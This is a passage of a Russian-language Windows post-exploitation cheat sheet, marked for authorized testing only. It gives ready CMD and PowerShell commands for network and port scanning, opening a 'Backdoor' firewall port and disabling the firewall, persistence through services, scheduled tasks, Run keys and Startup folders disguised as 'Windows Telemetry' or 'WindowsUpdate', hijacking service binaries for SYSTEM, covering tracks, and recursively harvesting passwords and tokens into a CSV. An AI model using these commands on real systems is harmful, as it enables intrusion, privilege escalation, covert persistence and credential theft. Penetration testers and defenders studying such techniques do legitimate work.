```powershell
Get-ChildItem C:\ -Recurse -File -Include *.config,*.txt,*.ini,*.xml -EA SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|token|secret|connectionstring' |
  Select-Object Path, LineNumber, Line
```

---

*Конец Блока 1. Сеть и сервисы — Блок 2. Привилегии и пароли — Блок 3.*

## Блок 2 — Сеть и сервисы (CMD / PowerShell)

Фаервол, открытые порты, слушающие сервисы, управление службами, запланированные задачи,
автозапуск, SMB-шары.
⚠️ — особенно полезно на этапе enumeration и закрепления.
Только для авторизованного тестирования.

---

### Раздел 1. Сетевые соединения и порты

---

#### 1. Активные соединения и прослушиваемые порты

**Задача:** Показать все активные TCP/UDP-соединения с PID процессов. Первичная разведка сети хоста — видно, какие сервисы открыты наружу, какие слушают только на loopback, и с кем хост уже соединён. ⚠️

**CMD — формат:** все соединения с PID / только слушающие / с именем процесса (требует прав Admin):
```
netstat -ano
netstat -ano | findstr LISTENING
netstat -anob
```
`-a` — все, `-n` — без DNS-резолва, `-o` — PID, `-b` — имя процесса

**CMD — пример:** показать только слушающие порты:
```
netstat -ano | findstr LISTENING
```

**PowerShell — формат:** TCP / UDP / только в состоянии Listen:
```powershell
Get-NetTCPConnection
Get-NetUDPEndpoint
Get-NetTCPConnection -State Listen
```

**PowerShell — пример:** слушающие порты с именем процесса одним запросом:
```powershell
Get-NetTCPConnection -State Listen |
  Select-Object LocalAddress, LocalPort,
    @{n='PID';     e={ $_.OwningProcess }},
    @{n='Process'; e={ (Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name }} |
  Sort-Object LocalPort
```

---

#### 2. Определение процесса по номеру порта

**Задача:** Найти, какой именно процесс занял нужный порт — нужно при разведке сервисов и перед тем, как сажать пейлоад на тот же порт. `<PORT>` замените на искомый номер.

**CMD — формат:** сначала находим PID, потом имя процесса по PID:
```
netstat -ano | findstr :<PORT>
tasklist | findstr <PID>
```

**CMD — пример:** кто занял порт 8080:
```
netstat -ano | findstr :8080
tasklist | findstr 3124
```

**PowerShell — формат:**
```powershell
Get-NetTCPConnection -LocalPort <PORT> |
  Select-Object LocalPort, State, OwningProcess,
    @{n='Process'; e={ (Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name }}
```

**PowerShell — пример:**
```powershell
Get-NetTCPConnection -LocalPort 8080 |
  Select-Object LocalPort, State, OwningProcess,
    @{n='Process'; e={ (Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name }}
```

---

#### 3. Быстрое сканирование диапазона портов

**Задача:** Проверить открытые порты на удалённом хосте без стороннего сканера. Медленнее nmap, но работает на любой Windows без дополнительных инструментов. `<TARGET>` — IP или hostname, `<START>` и `<END>` — границы диапазона. ⚠️

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:**
```powershell
<START>..<END> | ForEach-Object {
  $t = New-Object Net.Sockets.TcpClient
  $r = $t.BeginConnect('<TARGET>', $_, $null, $null)
  if ($r.AsyncWaitHandle.WaitOne(200)) { "OPEN: $_" }
  $t.Close()
}
```

**PowerShell — пример:** сканировать порты 1–1024 на хосте 192.168.1.10:
```powershell
1..1024 | ForEach-Object {
  $t = New-Object Net.Sockets.TcpClient
  $r = $t.BeginConnect('192.168.1.10', $_, $null, $null)
  if ($r.AsyncWaitHandle.WaitOne(200)) { "OPEN: $_" }
  $t.Close()
}
```

---

#### 4. DNS-резолвинг и обратный поиск

**Задача:** Резолвить имя в IP и обратно, искать записи разных типов. Нужен при разведке имён в AD-среде и поиске интересных хостов по A/PTR/SRV-записям. `<TARGET>` — имя хоста или IP, `<RECORD_TYPE>` — тип записи.

**CMD — формат:**
```
nslookup <TARGET>
nslookup -type=<RECORD_TYPE> <TARGET>
```

**CMD — пример:** A-запись для DC и PTR по IP:
```
nslookup dc01.corp.local
nslookup 192.168.1.10
```

**PowerShell — формат:**
```powershell
Resolve-DnsName <TARGET>
Resolve-DnsName <TARGET> -Type <RECORD_TYPE>
```

**PowerShell — пример:** все записи для домена:
```powershell
Resolve-DnsName corp.local -Type ANY
```

---

### Раздел 2. Фаервол Windows

---

#### 5. Статус и профили фаервола

**Задача:** Проверить, включён ли фаервол и в каком режиме работает каждый профиль. Отключённый профиль или политика `Allow all` — полное отсутствие фильтрации трафика. ⚠️

**CMD — формат:** все профили / только состояние:
```
netsh advfirewall show allprofiles
netsh advfirewall show allprofiles state
```

**CMD — пример:** быстрая проверка состояния:
```
netsh advfirewall show allprofiles state
```

**PowerShell — формат:**
```powershell
Get-NetFirewallProfile
Get-NetFirewallProfile -Name <PROFILE>
```

**PowerShell — пример:** все профили с политиками по умолчанию:
```powershell
Get-NetFirewallProfile |
  Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction
```

---

#### 6. Просмотр правил фаервола

**Задача:** Посмотреть активные правила. Входящие разрешающие правила для нестандартных портов или приложений — источник информации об открытых сервисах и потенциальных дырах. ⚠️

**CMD — формат:** все правила / только входящие разрешающие / по имени:
```
netsh advfirewall firewall show rule name=all
netsh advfirewall firewall show rule name=all dir=in action=allow
netsh advfirewall firewall show rule name="<RULE_NAME>"
```

**CMD — пример:** входящие разрешающие правила:
```
netsh advfirewall firewall show rule name=all dir=in action=allow
```

**PowerShell — формат:**
```powershell
Get-NetFirewallRule
Get-NetFirewallRule -Direction Inbound -Action Allow -Enabled True
```

**PowerShell — пример:** входящие разрешающие с номерами портов:
```powershell
Get-NetFirewallRule -Direction Inbound -Action Allow -Enabled True |
  Select-Object DisplayName, Profile,
    @{n='Port'; e={ ($_ | Get-NetFirewallPortFilter).LocalPort }}
```

---

#### 7. Добавление правила фаервола

**Задача:** Открыть порт для входящих или исходящих соединений — разрешить обратное соединение пейлоада или открыть нужный сервис. `<RULE_NAME>` — произвольное имя, `<PORT>` — номер порта, `<PROTO>` — `TCP` или `UDP`. ⚠️

**CMD — формат:** входящее / исходящее:
```
netsh advfirewall firewall add rule name="<RULE_NAME>" protocol=<PROTO> localport=<PORT> dir=in action=allow
netsh advfirewall firewall add rule name="<RULE_NAME>" protocol=<PROTO> localport=<PORT> dir=out action=allow
```

**CMD — пример:** разрешить входящий TCP 4444:
```
netsh advfirewall firewall add rule name="Backdoor" protocol=TCP localport=4444 dir=in action=allow
```

**PowerShell — формат:**
```powershell
New-NetFirewallRule -DisplayName "<RULE_NAME>" -Direction Inbound -Protocol <PROTO> -LocalPort <PORT> -Action Allow
```

**PowerShell — пример:**
```powershell
New-NetFirewallRule -DisplayName "Backdoor" -Direction Inbound -Protocol TCP -LocalPort 4444 -Action Allow
```

---

#### 8. Удаление правила фаервола

**Задача:** Убрать правило по имени — после теста или для заметания следов. `<RULE_NAME>` — имя, указанное при создании.

**CMD — формат:**
```
netsh advfirewall firewall delete rule name="<RULE_NAME>"
```

**CMD — пример:**
```
netsh advfirewall firewall delete rule name="Backdoor"
```

**PowerShell — формат:**
```powershell
Remove-NetFirewallRule -DisplayName "<RULE_NAME>"
```

**PowerShell — пример:**
```powershell
Remove-NetFirewallRule -DisplayName "Backdoor"
```

---

#### 9. Включение и отключение фаервола

**Задача:** Отключить фаервол целиком на время теста или для упрощения соединений. Требует прав администратора. `<PROFILE>` — один из: `Domain`, `Private`, `Public` или `allprofiles`.

**CMD — формат:** отключить / включить:
```
netsh advfirewall set allprofiles state off
netsh advfirewall set allprofiles state on
netsh advfirewall set <PROFILE>profile state off
```

**CMD — пример:** отключить только публичный профиль:
```
netsh advfirewall set publicprofile state off
```

**PowerShell — формат:**
```powershell
Set-NetFirewallProfile -Profile <PROFILE> -Enabled False
Set-NetFirewallProfile -Profile <PROFILE> -Enabled True
```

**PowerShell — пример:** отключить все профили одной командой:
```powershell
Set-NetFirewallProfile -Profile Domain,Private,Public -Enabled False
```

---

### Раздел 3. Службы Windows

---

#### 10. Перечисление всех служб

**Задача:** Получить список служб с их состоянием, типом запуска и путём к бинарю. Нестандартные службы, запущенные из пользовательских папок — первые кандидаты при анализе PrivEsc. ⚠️

**CMD — формат:** запущенные / все состояния:
```
sc query
sc query type= all state= all
```

**CMD — пример:** все службы любого состояния:
```
sc query type= all state= all
```

**PowerShell — формат:**
```powershell
Get-Service
Get-CimInstance Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName
```

**PowerShell — пример:** запущенные службы с путём к бинарю:
```powershell
Get-CimInstance Win32_Service |
  Where-Object State -eq 'Running' |
  Select-Object Name, DisplayName, PathName, StartMode
```

---

#### 11. Информация о конкретной службе

**Задача:** Получить детали по одной службе: состояние, тип запуска, путь к бинарю, учётная запись. `<SVC_NAME>` — системное (короткое) имя службы.

**CMD — формат:** конфигурация / текущий статус:
```
sc qc <SVC_NAME>
sc query <SVC_NAME>
```

**CMD — пример:** конфигурация службы Print Spooler:
```
sc qc Spooler
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_Service -Filter "Name='<SVC_NAME>'" | Format-List *
```

**PowerShell — пример:**
```powershell
Get-CimInstance Win32_Service -Filter "Name='Spooler'" | Format-List *
```

---

#### 12. Запуск, остановка и перезапуск службы

**Задача:** Управлять состоянием службы — остановить мешающий сервис или перезапустить после изменения конфигурации. `<SVC_NAME>` — системное имя службы.

**CMD — формат:**
```
net start <SVC_NAME>
net stop <SVC_NAME>
sc start <SVC_NAME>
sc stop <SVC_NAME>
```

**CMD — пример:** остановить и запустить Spooler:
```
net stop Spooler
net start Spooler
```

**PowerShell — формат:**
```powershell
Start-Service <SVC_NAME>
Stop-Service <SVC_NAME>
Restart-Service <SVC_NAME> -Force
```

**PowerShell — пример:**
```powershell
Restart-Service Spooler -Force
```

---

#### 13. Создание новой службы

**Задача:** Создать службу из произвольного исполняемого файла — устойчивый механизм закрепления, переживающий перезагрузку. `<SVC_NAME>` — системное имя, `<DISPLAY_NAME>` — видимое имя, `<BIN_PATH>` — полный путь к exe. Требует прав администратора. ⚠️

**CMD — формат:** важно: после `=` всегда пробел — это синтаксис `sc`:
```
sc create <SVC_NAME> binpath= "<BIN_PATH>" start= auto DisplayName= "<DISPLAY_NAME>"
sc start <SVC_NAME>
```

**CMD — пример:** служба с именем `PersistSvc`, запускается автоматически:
```
sc create PersistSvc binpath= "C:\Windows\Temp\shell.exe" start= auto DisplayName= "Windows Telemetry"
sc start PersistSvc
```

**PowerShell — формат:**
```powershell
New-Service -Name <SVC_NAME> -DisplayName "<DISPLAY_NAME>" -BinaryPathName "<BIN_PATH>" -StartupType Automatic
Start-Service <SVC_NAME>
```

**PowerShell — пример:**
```powershell
New-Service -Name PersistSvc -DisplayName "Windows Telemetry" -BinaryPathName "C:\Windows\Temp\shell.exe" -StartupType Automatic
Start-Service PersistSvc
```

---

#### 14. Подмена пути бинаря существующей службы

**Задача:** Изменить путь к исполняемому файлу службы на свой — техника при нахождении слабых ACL на службу. После смены пути служба при следующем запуске исполнит новый бинарь от своей учётной записи. `<SVC_NAME>` — имя службы, `<BIN_PATH>` — новый путь. ⚠️

**CMD — формат:**
```
sc config <SVC_NAME> binpath= "<BIN_PATH>"
sc stop <SVC_NAME>
sc start <SVC_NAME>
```

**CMD — пример:** подменить бинарь уязвимой службы и перезапустить:
```
sc config VulnSvc binpath= "C:\Temp\shell.exe"
sc stop VulnSvc
sc start VulnSvc
```

**PowerShell — формат:** правка через реестр напрямую:
```powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\<SVC_NAME>" -Name ImagePath -Value "<BIN_PATH>"
Restart-Service <SVC_NAME> -Force
```

**PowerShell — пример:**
```powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Temp\shell.exe"
Restart-Service VulnSvc -Force
```

---

#### 15. Удаление службы

**Задача:** Удалить службу после теста или для заметания следов. `<SVC_NAME>` — системное имя.

**CMD — формат:**
```
sc stop <SVC_NAME>
sc delete <SVC_NAME>
```

**CMD — пример:**
```
sc stop PersistSvc
sc delete PersistSvc
```

**PowerShell — формат:**
```powershell
Stop-Service <SVC_NAME> -Force
(Get-WmiObject Win32_Service -Filter "Name='<SVC_NAME>'").Delete()
```

**PowerShell — пример:**
```powershell
Stop-Service PersistSvc -Force
(Get-WmiObject Win32_Service -Filter "Name='PersistSvc'").Delete()
```

---

#### 16. Проверка прав на службу (ACL)

**Задача:** Проверить, может ли текущий пользователь изменить конфигурацию службы. Права `ChangeConfig` или `AllAccess` у непривилегированного пользователя = возможность подменить бинарь и получить SYSTEM. ⚠️

**CMD — формат:** `<SVC_NAME>` — имя службы, вывод в формате SDDL:
```
sc sdshow <SVC_NAME>
```

**CMD — пример:** показать SDDL-строку прав Spooler:
```
sc sdshow Spooler
```

**PowerShell — формат:** найти все службы, запускаемые не из системных директорий — они кандидаты на дальнейшую проверку прав:
```powershell
Get-CimInstance Win32_Service |
  Where-Object {
    $_.PathName -notmatch 'system32|SysWOW64|Program Files' -and
    $_.PathName -ne $null
  } |
  Select-Object Name, StartName, PathName
```

**PowerShell — пример:**
```powershell
Get-CimInstance Win32_Service |
  Where-Object {
    $_.PathName -notmatch 'system32|SysWOW64|Program Files' -and
    $_.PathName -ne $null
  } |
  Select-Object Name, StartName, PathName
```

---

#### 17. Поиск Unquoted Service Path

**Задача:** Найти службы, у которых путь к бинарю содержит пробел и не обёрнут в кавычки. Windows пробует каждую часть пути как exe — если есть права на запись в промежуточную папку, подкладываем туда свой бинарь и получаем выполнение с привилегиями службы. ⚠️

**CMD — формат:** ищем авто-старт службы, путь не из Windows, путь без кавычек:
```
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
```

**CMD — пример:**
```
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_Service |
  Where-Object {
    $_.PathName -match ' '        -and
    $_.PathName -notmatch '^"'    -and
    $_.PathName -notmatch 'Windows'
  } |
  Select-Object Name, PathName, StartMode, StartName
```

**PowerShell — пример:**
```powershell
Get-CimInstance Win32_Service |
  Where-Object {
    $_.PathName -match ' '        -and
    $_.PathName -notmatch '^"'    -and
    $_.PathName -notmatch 'Windows'
  } |
  Select-Object Name, PathName, StartMode, StartName
```

---

### Раздел 4. Запланированные задачи

---

#### 18. Перечисление запланированных задач

**Задача:** Просмотреть все задачи планировщика — пути к бинарям, расписание, контекст запуска. Задачи из пользовательских директорий или запускающие нестандартные exe — красный флаг при аудите. ⚠️

**CMD — формат:** кратко / подробно в list-формате / в CSV для парсинга:
```
schtasks
schtasks /query /fo LIST /v
schtasks /query /fo CSV /v
```

**CMD — пример:** показать что запускается и от кого:
```
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Task Name"
```

**PowerShell — формат:**
```powershell
Get-ScheduledTask
Get-ScheduledTask | Get-ScheduledTaskInfo
```

**PowerShell — пример:** задачи с путём к исполняемому файлу и учётной записью:
```powershell
Get-ScheduledTask |
  Select-Object TaskName, TaskPath,
    @{n='RunAs';  e={ $_.Principal.UserId }},
    @{n='Action'; e={ $_.Actions.Execute }} |
  Where-Object Action -ne $null
```

---

#### 19. Создание запланированной задачи (persistence)

**Задача:** Добавить задачу, запускающую пейлоад по триггеру — при входе пользователя, по времени или при старте системы. Переживает перезагрузку, не требует создания службы. `<TASK_NAME>` — имя задачи, `<PROG>` — путь к exe. ⚠️

**CMD — формат:** запуск при входе любого пользователя от SYSTEM / каждые N минут:
```
schtasks /create /tn "<TASK_NAME>" /tr "<PROG>" /sc onlogon /ru SYSTEM /f
schtasks /create /tn "<TASK_NAME>" /tr "<PROG>" /sc minute /mo 5 /ru SYSTEM /f
```
`/ru SYSTEM` — запуск от SYSTEM, `/f` — перезаписать если уже существует, `/mo` — интервал в минутах

**CMD — пример:** задача с именем `WinUpdate`, запуск каждые 5 минут от SYSTEM:
```
schtasks /create /tn "WinUpdate" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 5 /ru SYSTEM /f
```

**PowerShell — формат:**
```powershell
$action  = New-ScheduledTaskAction -Execute "<PROG>"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "<TASK_NAME>" -Action $action -Trigger $trigger -RunLevel Highest -Force
```

**PowerShell — пример:** запуск при входе с максимальными привилегиями:
```powershell
$action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "WinUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
```

---

#### 20. Удаление запланированной задачи

**Задача:** Убрать задачу после завершения теста. `<TASK_NAME>` — имя задачи, созданной ранее.

**CMD — формат:**
```
schtasks /delete /tn "<TASK_NAME>" /f
```

**CMD — пример:**
```
schtasks /delete /tn "WinUpdate" /f
```

**PowerShell — формат:**
```powershell
Unregister-ScheduledTask -TaskName "<TASK_NAME>" -Confirm:$false
```

**PowerShell — пример:**
```powershell
Unregister-ScheduledTask -TaskName "WinUpdate" -Confirm:$false
```

---

### Раздел 5. Автозапуск и персистенс

---

#### 21. Просмотр ключей автозапуска в реестре

**Задача:** Посмотреть, какие программы прописаны в Run/RunOnce. Нестандартные записи с путями в `Temp`, `AppData` или `Users` — индикатор малвари или оставленного бэкдора. ⚠️

**CMD — формат:** HKLM (все пользователи, нужны права Admin) / HKCU (только текущий):
```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

**CMD — пример:** проверить оба куста сразу:
```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

**PowerShell — формат:**
```powershell
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
```

**PowerShell — пример:** объединить оба куста в одном выводе:
```powershell
@('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
  'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run') | ForEach-Object {
    Write-Host "=== $_ ===" -ForegroundColor Cyan
    Get-ItemProperty $_ -EA SilentlyContinue
  }
```

---

#### 22. Добавление пейлоада в автозапуск через реестр

**Задача:** Прописать исполняемый файл в Run-ключ — запускается при каждом входе пользователя. `HKCU` не требует прав администратора. `<REG_VALUE>` — имя записи (маскируем под системное), `<PROG>` — полный путь к exe. ⚠️

**CMD — формат:** HKCU / HKLM:
```
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v <REG_VALUE> /t REG_SZ /d "<PROG>" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v <REG_VALUE> /t REG_SZ /d "<PROG>" /f
```

**CMD — пример:** добавить пейлоад в автозапуск текущего пользователя:
```
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Users\victim\AppData\Roaming\update.exe" /f
```

**PowerShell — формат:**
```powershell
Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name "<REG_VALUE>" -Value "<PROG>"
```

**PowerShell — пример:**
```powershell
Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name "WindowsUpdate" -Value "C:\Users\victim\AppData\Roaming\update.exe"
```

---

#### 23. Папки автозагрузки (Startup folders)

**Задача:** Файлы, помещённые в папки Startup, запускаются при входе пользователя — без правки реестра, достаточно скопировать exe или ярлык. HKCU-папка не требует прав Admin. ⚠️

**CMD — формат:** показать путь к папке текущего пользователя / всех пользователей:
```
echo %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
echo %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
```

**CMD — пример:** скопировать пейлоад в Startup текущего пользователя:
```
copy C:\Temp\shell.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe"
```

**PowerShell — формат:**
```powershell
$env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup'
$env:ProgramData + '\Microsoft\Windows\Start Menu\Programs\Startup'
```

**PowerShell — пример:** скопировать в Startup всех пользователей (требует Admin):
```powershell
Copy-Item C:\Temp\shell.exe "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe"
```

---

### Раздел 6. SMB и сетевые ресурсы

---

#### 24. Перечисление доступных шар

**Задача:** Посмотреть, какие сетевые папки опубликованы на локальном или удалённом хосте. Шары с избыточными правами — прямой вектор доступа к данным и перемещения между хостами. `<TARGET>` — IP или hostname. ⚠️

**CMD — формат:** локально / на удалённом хосте:
```
net share
net view \\<TARGET>
```

**CMD — пример:** посмотреть шары на DC01:
```
net view \\DC01
```

**PowerShell — формат:** локально / удалённо:
```powershell
Get-SmbShare
Get-SmbShare -CimSession <TARGET>
```

**PowerShell — пример:** локальные шары с путями и правами доступа — `<SHARE_NAME>` замените на имя шары:
```powershell
Get-SmbShare | Select-Object Name, Path, Description
Get-SmbShareAccess -Name <SHARE_NAME>
```

---

#### 25. Подключение и отключение сетевой шары

**Задача:** Смонтировать шару как локальный диск для удобной работы с файлами через обычные команды ФС. `<TARGET>` — IP или hostname, `<SHARE_NAME>` — имя шары, буква диска — любая свободная. ⚠️

**CMD — формат:** подключить / подключить с учётными данными / отключить:
```
net use Z: \\<TARGET>\<SHARE_NAME>
net use Z: \\<TARGET>\<SHARE_NAME> /user:<USER> <PASSWORD>
net use Z: /delete
```

**CMD — пример:** подключить `SYSVOL` на DC01 и отключить:
```
net use Z: \\DC01\SYSVOL
net use Z: /delete
```

**PowerShell — формат:**
```powershell
New-SmbMapping -LocalPath Z: -RemotePath \\<TARGET>\<SHARE_NAME>
Remove-SmbMapping -LocalPath Z: -Force
```

**PowerShell — пример:**
```powershell
New-SmbMapping -LocalPath Z: -RemotePath \\DC01\SYSVOL
Remove-SmbMapping -LocalPath Z: -Force
```

---

#### 26. Создание сетевой шары

**Задача:** Опубликовать локальную папку как шару — для передачи файлов между хостами в ходе теста. `<SHARE_NAME>` — имя шары (видно снаружи), `<SHARE_PATH>` — локальный путь. Требует прав администратора.

**CMD — формат:** создать / удалить:
```
net share <SHARE_NAME>=<SHARE_PATH> /grant:everyone,full
net share <SHARE_NAME> /delete
```

**CMD — пример:** расшарить папку `C:\Temp\loot` для всех:
```
net share loot=C:\Temp\loot /grant:everyone,full
```

**PowerShell — формат:**
```powershell
New-SmbShare -Name "<SHARE_NAME>" -Path "<SHARE_PATH>" -FullAccess Everyone
Remove-SmbShare -Name "<SHARE_NAME>" -Force
```

**PowerShell — пример:**
```powershell
New-SmbShare -Name "loot" -Path "C:\Temp\loot" -FullAccess Everyone
```

---

*Конец Блока 2. PrivEsc и поиск паролей — Блок 3. AD и латеральное движение — Блок 4.*

## Блок 3 — PrivEsc, поиск паролей и секретов (CMD / PowerShell)

Перечисление для повышения привилегий, поиск паролей в файловой системе,
реестр и приложения, локальные учётные данные, AD как источник секретов, сетевые шары.
⚠️ — особенно полезно на этапе поиска точки эскалации.
Только для авторизованного тестирования.

---

### Раздел 1. Перечисление для повышения привилегий

---

#### 1. Привилегии токена

**Задача:** Проверить, какие привилегии активны у текущего токена. Ряд привилегий напрямую ведёт к SYSTEM без эксплойта. Чаще всего встречаются у сервисных аккаунтов. ⚠️

Опасные привилегии:

| Привилегия | Что даёт |
|------------|----------|
| `SeImpersonatePrivilege` | Potato-семейство → SYSTEM |
| `SeBackupPrivilege` | Чтение любого файла, включая SAM/SYSTEM |
| `SeRestorePrivilege` | Запись в любой файл, замена бинарей |
| `SeDebugPrivilege` | Доступ к памяти любого процесса (LSASS) |
| `SeLoadDriverPrivilege` | Загрузка произвольного драйвера (Ring 0) |
| `SeTakeOwnershipPrivilege` | Смена владельца любого объекта |
| `SeAssignPrimaryTokenPrivilege` | Смена токена процесса |

**CMD — формат:**
```
whoami /priv
whoami /all
```

**CMD — пример:** сохранить полный вывод для офлайн-анализа:
```
whoami /all > C:\Temp\token.txt
```

**PowerShell — формат:** получить только включённые привилегии:
```powershell
whoami /priv | Select-String "Enabled"
```

**PowerShell — пример:** показать привилегии текущего пользователя объектом:
```powershell
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, Groups
```

---

#### 2. Членство в привилегированных группах

**Задача:** Проверить, состоит ли текущий пользователь в группах, дающих расширенные права. `Backup Operators`, `Server Operators`, `DnsAdmins`, `Event Log Readers` — каждая открывает свои пути к SYSTEM. ⚠️

**CMD — формат:** группы текущего токена / состав конкретной группы — `<GROUPNAME>` замените на имя группы:
```
whoami /groups
net localgroup <GROUPNAME>
```

**CMD — пример:** проверить всё сразу — членство и права:
```
whoami /groups | findstr /i "admin|operator|backup|remote|dns"
```

**PowerShell — формат:**
```powershell
whoami /groups
(New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole("Administrators")
```

**PowerShell — пример:** проверить, локальный ли мы Admin:
```powershell
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
```

---

#### 3. AlwaysInstallElevated — установка MSI с правами SYSTEM

**Задача:** Проверить два ключа реестра — если оба выставлены в `1`, любой MSI-пакет запускается с правами SYSTEM, даже от непривилегированного пользователя. ⚠️

**CMD — формат:** проверить оба куста — нужны оба значения `0x1`:
```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

**CMD — пример:**
```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

**PowerShell — формат:**
```powershell
Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
```

**PowerShell — пример:** одной командой — если оба вернули `1`, уязвимо:
```powershell
@('HKCU:', 'HKLM:') | ForEach-Object {
  $v = (Get-ItemProperty "$_\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -EA SilentlyContinue).AlwaysInstallElevated
  "$_ AlwaysInstallElevated = $v"
}
```

---

#### 4. Проверка прав на запись в системные папки

**Задача:** Найти директории, в которые текущий пользователь может писать, но которые входят в системный PATH или используются сервисами — DLL-hijacking и service binary replacement начинаются отсюда. ⚠️

**CMD — формат:** `icacls` показывает ACL на папку — ищем `(W)`, `(M)`, `(F)` для нашего пользователя или `Everyone`:
```
icacls "<DIR>"
icacls "C:\Program Files" | findstr /i "(W) \|(F) \|(M) "
```

**CMD — пример:** проверить права на все папки из PATH:
```
for %d in (%path%) do @icacls "%d" 2>nul | findstr /i "(W) \|(F) " && echo %d
```

**PowerShell — формат:**
```powershell
$env:PATH -split ';' | ForEach-Object {
  $acl = Get-Acl $_ -EA SilentlyContinue
  $acl.Access | Where-Object {
    $_.FileSystemRights -match 'Write|FullControl' -and
    $_.IdentityReference -match 'Everyone|Users|Authenticated'
  } | ForEach-Object { "$_ : $($_.IdentityReference) $($_.FileSystemRights)" }
}
```

**PowerShell — пример:**
```powershell
$env:PATH -split ';' | ForEach-Object {
  $acl = Get-Acl $_ -EA SilentlyContinue
  $acl.Access | Where-Object {
    $_.FileSystemRights -match 'Write|FullControl' -and
    $_.IdentityReference -match 'Everyone|Users|Authenticated'
  } | ForEach-Object { "$_ : $($_.IdentityReference) $($_.FileSystemRights)" }
}
```

---

### Раздел 2. Поиск паролей в файловой системе

---

#### 5. Рекурсивный поиск по содержимому файлов

**Задача:** Найти файлы, содержащие ключевые слова — пароли, строки подключения, токены. `<DIR>` — стартовый каталог, `<PATTERN>` — regex. Запускать лучше от `C:\` но медленно; сначала целься в `Users`, `inetpub`, `ProgramData`. ⚠️

**CMD — формат:** `/s` рекурсивно, `/i` без учёта регистра, `/l` только путь к файлу:
```
findstr /s /i /m "<PATTERN>" <DIR>\*.*
findstr /s /i "<PATTERN>" <DIR>\*.config
```

**CMD — пример:** найти файлы с "password" в профилях и веб-директории:
```
findstr /s /i /m "password" C:\Users\*.*
findstr /s /i /m "password" C:\inetpub\*.*
```

**PowerShell — формат:**
```powershell
Get-ChildItem <DIR> -Recurse -File -EA SilentlyContinue |
  Select-String -Pattern "<PATTERN>" |
  Select-Object Path, LineNumber, Line
```

**PowerShell — пример:** искать пароли и токены во всех текстовых файлах профилей:
```powershell
Get-ChildItem C:\Users -Recurse -File -EA SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|token|apikey|secret|connectionstring' |
  Select-Object Path, LineNumber, Line |
  Export-Csv C:\Temp\secrets_found.csv -NoTypeInformation
```

---

#### 6. Поиск чувствительных файлов по расширению

**Задача:** Найти файлы типичных форматов, в которых хранятся секреты — конфиги приложений, таблицы Excel с паролями, приватные ключи, резервные копии БД. `<DIR>` — стартовый каталог поиска. ⚠️

**CMD — формат:** перечислить файлы нужных расширений рекурсивно:
```
dir /s /b /a <DIR>\*.txt
dir /s /b /a <DIR>\*.xml
dir /s /b /a <DIR>\*.config
dir /s /b /a <DIR>\*.ini
dir /s /b /a <DIR>\*.bak
```

**CMD — пример:** найти все ini и config-файлы в Users и ProgramData:
```
dir /s /b /a C:\Users\*.ini C:\Users\*.config
